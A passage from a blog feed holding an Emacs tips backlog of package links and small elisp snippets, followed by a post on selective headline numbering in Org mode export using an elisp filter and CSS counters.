&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/emacsfodder/kurecolor"&gt;kurecolor&lt;/a&gt;: Editing color.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/autotype/Autoinserting.html"&gt;auto-insert-mode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Buffer local cursor color: &lt;a href="https://github.com/skk-dev/ddskk/blob/master/readmes/readme.ccc.org"&gt;ccc&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} clang indexing tool: &lt;a href="http://ffevotte.github.io/clang-tags/"&gt;clang-tags&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Create custom theme: Trường's &lt;a href="http://truongtx.me/2013/03/31/color-theming-in-emacs-24/"&gt;post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/Fuco1/dired-hacks"&gt;dired-hacks&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} gtd emacs workflow: Charles cave's &lt;a href="http://members.optusnet.com.au/~charles57/gtd/gtd_workflow.html"&gt;notes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} emacs-index-search (lookup subject in Emacs manual).&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} info-apropos (lookup subject in all manuals).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Jumping around tips: &lt;a href="http://zerokspot.com/weblog/2015/01/07/jumping-around-in-emacs/"&gt;zerokspot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Mac OS clipboard support (from terminal): &lt;a href="https://github.com/jkp/pbcopy.el"&gt;pbcopy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/m0smith/malabar-mode"&gt;Malabar mode&lt;/a&gt;: For Java.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Melpa recipe format:&lt;a href="https://github.com/milkypostman/melpa#recipe-format"&gt;format&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE Naturaldocs for javascript: &lt;a href="http://naiquevin.github.io/naturaldocs-for-javascript-in-emacs.html"&gt;Vineet's post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Org protocol: see irreal's &lt;a href="http://irreal.org/blog/?p=3594"&gt;post&lt;/a&gt; and oremacs's &lt;a href="http://oremacs.com/2015/01/07/org-protocol-1/"&gt;part 1&lt;/a&gt; and &lt;a href="http://oremacs.com/2015/01/08/org-protocol-2/"&gt;part 2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} org-multiple-keymap. More at &lt;a href="https://github.com/myuhe/org-multiple-keymap.el"&gt;org-multiple-keymap.el&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/yjwen/org-reveal/tree/stable"&gt;org-reveal&lt;/a&gt;: Export org to reveal.js.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Practice touch/speed typing: &lt;a href="https://github.com/hagleitn/speed-type"&gt;speedtype&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} private configuration: &lt;a href="https://github.com/cheunghy/private"&gt;private&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} project management for C/C++: &lt;a href="https://github.com/lefterisjp/malinka"&gt;malinka&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Project templates: &lt;a href="https://github.com/chrisbarrett/skeletor.el"&gt;skeletor&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Rewrite git logs. See &lt;a href="http://shingofukuyama.github.io/emacs-magit-reword-commit-messages/"&gt;emacs magit tutorial | rewrite older commit&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/emacs/Selective-Display.html"&gt;Selective display&lt;/a&gt;: Hide lines longer than.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} shell-command-on-region: Print inline with C-u M-|.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} shell-command: Print output inline with C-u M-!.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Simplify media file transformations: &lt;a href="https://github.com/abo-abo/make-it-so"&gt;make-it-so&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/mineo/yatemplate"&gt;yatemplate&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/fujimisakari/emacs-helm-xcdoc"&gt;emacs-helm-xcdoc&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/facetframer/orgnav"&gt;Drill down org files using orgnav (helm-based)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/prettier/prettier-emacs"&gt;Prettier emacs&lt;/a&gt;. (use &lt;a href="https://github.com/purcell/reformatter.el"&gt;reformatter.el&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="http://amitp.blogspot.co.uk/search/label/emacs"&gt;Spaceline walkthrough&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE Try out emacs Android debug (see this &lt;a href="http://gregorygrubbs.com/development/tips-on-android-development-using-emacs/"&gt;post&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/syohex/emacs-quickrun"&gt;quickrun.el&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/zakame/emacs-for-javascript"&gt;Emacs for JavaScript&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/iced/go-gopath/blob/master/README.md"&gt;go-gopath&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/alezost/shift-number.el"&gt;shift-number.el&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/xuchunyang/DevDocs.el"&gt;&lt;a href="https://github.com/xuchunyang/DevDocs.el"&gt;https://github.com/xuchunyang/DevDocs.el&lt;/a&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/jasonm23/emacs-select-themes/blob/master/select-themes.el"&gt;select-themes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/bmag/helm-purpose"&gt;Emacs purpose&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="http://bling.github.io/blog/2016/01/18/why-are-you-changing-gc-cons-threshold/"&gt;Why are you changing gc-cons-threshold?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/nivekuil/corral"&gt;Corral&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/nicklanasa/xcode-mode/blob/master/README.md"&gt;xcode-mode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/yuutayamada/commenter"&gt;commenter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/ustun/emacs-helpers-for-js/blob/master/uojs.el"&gt;Emacs JavaScript helpers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/lujun9972/yahoo-weather-mode"&gt;yahoo-weather-mode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/peteyy/.emacs.d/blob/master/settings/language-javascript.el"&gt;Peek at peteyy's Javascript config&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/trotzig/import-js"&gt;import-js&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/CodyReichert/es6-snippets"&gt;ES6 yasnippets&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/swank-js/swank-js"&gt;swank-js&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OBSOLETE &lt;a href="https://github.com/ananthakumaran/tide"&gt;TypeScript Interactive Development Environment for Emacs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Try out &lt;a href="https://github.com/jacobdufault/cquery/blob/master/emacs/cquery.el"&gt;cquery&lt;/a&gt;, &lt;a href="https://github.com/emacs-lsp/lsp-mode"&gt;emacs-lsp&lt;/a&gt;, and &lt;a href="https://github.com/tigersoldier/company-lsp"&gt;company-lsp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} (setq projectile-use-git-grep t). &amp;lt;2018-12-27 Thu&amp;gt;&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.reddit.com/r/emacs/comments/46lv2q/is_there_any_easy_way_to_make_org_files_password/"&gt;Is there any easy way to make .org files password protected? (Reddit)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} use-package binding to different maps&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package term
  :bind
  (:map
   term-mode-map
   (&amp;quot;M-p&amp;quot; . term-send-up)
   (&amp;quot;M-n&amp;quot; . term-send-down)
   :map term-raw-map
   (&amp;quot;M-o&amp;quot; . other-window)
   (&amp;quot;M-p&amp;quot; . term-send-up)
   (&amp;quot;M-n&amp;quot; . term-send-down)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/syohex/emacs-qrencode/blob/master/README.md"&gt;Emacs qrencode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/Fuco1/smartparens"&gt;Smartparens&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://gist.github.com/syohex/626af66ba3650252b0a2"&gt;Hash region&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/syohex/emacs-helm-ispell"&gt;helm-ispell&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/HKey/dired-atool"&gt;Pack/unpack files with atool on dired&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/Alexander-Miller/company-shell"&gt;company-shell&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} artbollocks-mode and writegood. More at Sacha's &lt;a href="http://sachachua.com/blog/2011/12/emacs-artbollocks-mode-el-and-writing-more-clearly/"&gt;post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} comint-prompt-read-only for making shell prompts read-only.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/kelvinh/org-page"&gt;org-page&lt;/a&gt;: Static blog.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.reddit.com/r/emacs/comments/43b42y/i_just_realized_emacs_has_a_fast_infix_calculator/"&gt;I just realized Emacs has a fast infix calculator that's not calc or quick-calc… (Reddit)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://promberger.info/linux/2010/02/16/how-to-get-emacs-key-bindings-in-ubuntu/"&gt;How to get emacs key bindings in Ubuntu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/calvinwyoung/org-autolist"&gt;org-autolist&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Move up by parens: More at the &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/emacs/Moving-by-Parens.html"&gt;manual&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} sunrise-sunset.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/abo-abo/ace-window"&gt;ace-window&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Checkdoc.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Choose magit repo c-u c-x g (magit-status).&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} continue comment blocks: m-j (indent-new-comment-line).&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Debug expanded elisp macros: See Wisdom and Wonder's &lt;a href="http://www.wisdomandwonder.com/link/9316/how-to-debug-expanded-elisp-macros"&gt;post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} delete-duplicate-lines&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Describe bindings: C-h b lists all bindings.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Disable furniture&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(menu-bar-mode -1)
(toggle-scroll-bar -1)
(tool-bar-mode -1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/silex/elmacro"&gt;elmacro&lt;/a&gt; shows keyboard as emacs lisp.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} yasnippet mirrors with transformations more at &lt;a href="https://capitaomorte.github.io/yasnippet/snippet-development.html#sec-3-6"&gt;snippet development&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;- (${1:id})${2:foo}
{
    return $2;
}

- (void)set${2:$(capitalize yas-text)}:($1)avalue
{
    [$2 autorelease];
    $2 = [avalue retain];
}
$0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;[DONE]{.done .DONE} Emacs regex: &lt;a href="http://ergoemacs.org/emacs/emacs_regex.html"&gt;Emacs: text pattern matching (regex) tutorial&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} export ascii art: &lt;a href="http://www.lysator.liu.se/~tab/artist/"&gt;artist mode&lt;/a&gt; + &lt;a href="http://ditaa.sourceforge.net"&gt;ditaa&lt;/a&gt; for uml. demo &lt;a href="https://www.youtube.com/watch?v=ciux87xo8fc"&gt;video&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/abo-abo/lispy"&gt;lispy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/dandavison/minimal"&gt;minimal&lt;/a&gt;: minimalist appearance.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Narrowing regions&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c-x n n (narrow-to-region).&lt;/li&gt;
&lt;li&gt;c-x n w (Widen).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.gnu.org/software/emacs/manual/nxml-mode.html"&gt;nxml-mode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/jonnay/emagicians-starter-kit/blob/master/themes/org-beautify-theme.org"&gt;org-beautify-theme&lt;/a&gt;: a sub-theme to make org-mode more beautiful.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Recursive query/replace&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;M-x find-dired RET.&lt;/li&gt;
&lt;li&gt;Navigate to location, RET.&lt;/li&gt;
&lt;li&gt;Add find argument (omit for all files), RET.&lt;/li&gt;
&lt;li&gt;t (select all).&lt;/li&gt;
&lt;li&gt;Q (query-replace).&lt;/li&gt;
&lt;li&gt;Enter search/replace terms.&lt;/li&gt;
&lt;li&gt;y/n for each match.&lt;/li&gt;
&lt;li&gt;C-x s ! (save all).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;[DONE]{.done .DONE} Repeat last command: C-x z (and just z threreafter).&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Replace char with a newline&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;M-x replace-string RET ; RET C-q C-j.&lt;/li&gt;
&lt;li&gt;C-q (quoted-insert).&lt;/li&gt;
&lt;li&gt;C-j (newline).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/bruce-connor/smart-mode-line"&gt;smart-mode-line&lt;/a&gt;, &lt;a href="http://pages.sachachua.com/.emacs.d/sacha.html"&gt;sacha's sample usage&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Toggling key bingings: &lt;a href="http://oremacs.com/2014/12/25/ode-to-toggle/"&gt;ode to the toggle&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/damiencassou/unify-opening"&gt;unify-opening&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} use-package: &lt;a href="http://www.lunaryorn.com/2015/01/06/my-emacs-configuration-with-use-package.html"&gt;lunaryorn&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/aaronbieber/sunshine.el"&gt;sunshine.el&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} youtube-dl: &lt;a href="http://oremacs.com/2015/01/05/youtube-dl/"&gt;or emacs&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 03 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-tips-backlog</guid></item><item><title>Org Mode Selective Section Numbering</title><link>https://bastibe.de/2014-12-03-org-numbering.html</link><description>&lt;p&gt;This is the third revision of a post about selective headline numbering in Org mode. On its own, Org mode can either number all headlines, or none. For scientific writing, this is a non-starter. In a scientific paper, the abstract should not be numbered, the main body should be numbered, and appendices should not be numbered.&lt;/p&gt;
&lt;p&gt;In LaTeX, this is easy to do: &lt;code&gt;\section{}&lt;/code&gt; creates a numbered headline, while &lt;code&gt;\section*{}&lt;/code&gt; creates an unnumbered section. Org mode does not have any facility to control this on a per-headline basis, but it can be taught:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;headline-numbering-filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;backend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;No numbering in headlines that have a property :numbers: no&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;beg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;next-property-change&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;headline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;beg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get-text-property&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;beg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;:parent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;backend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'latex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;string=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;org-element-property&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;:NUMBERS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;headline&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;no&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;replace-regexp-in-string&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\(part\\|chapter\\|\\(?:sub\\)*section\\|\\(?:sub\\)?paragraph\\)&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\1*&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;org-export-filter-headline-functions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;'&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;headline-numbering-filter&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This creates a filter (an Org mode convention similar to a hook), which appends the asterisk to LaTeX headlines if the headline has a property &lt;code&gt;:NUMBERS: no&lt;/code&gt;. If all you do is export to LaTeX, this works well.&lt;/p&gt;
&lt;p&gt;If you need to export to HTML as well, things get more complicated. Since HTML does not have native numbering support, Org is forced to manually create section numbers. But times have changed, and with CSS3, HTML now indeed &lt;em&gt;does&lt;/em&gt; support native numbering!&lt;/p&gt;
&lt;p&gt;Here is some CSS that uses CSS3 counters to number all headlines and hide Org's numbers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c"&gt;/* hide Org-mode's section numbers */&lt;/span&gt;
&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;section-number-2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;section-number-3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;section-number-4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;section-number-5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;section-number-6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;/* define counters for the different headline levels */&lt;/span&gt;
&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;counter-reset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;counter-reset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subsection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;h3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;counter-reset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subsubsection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
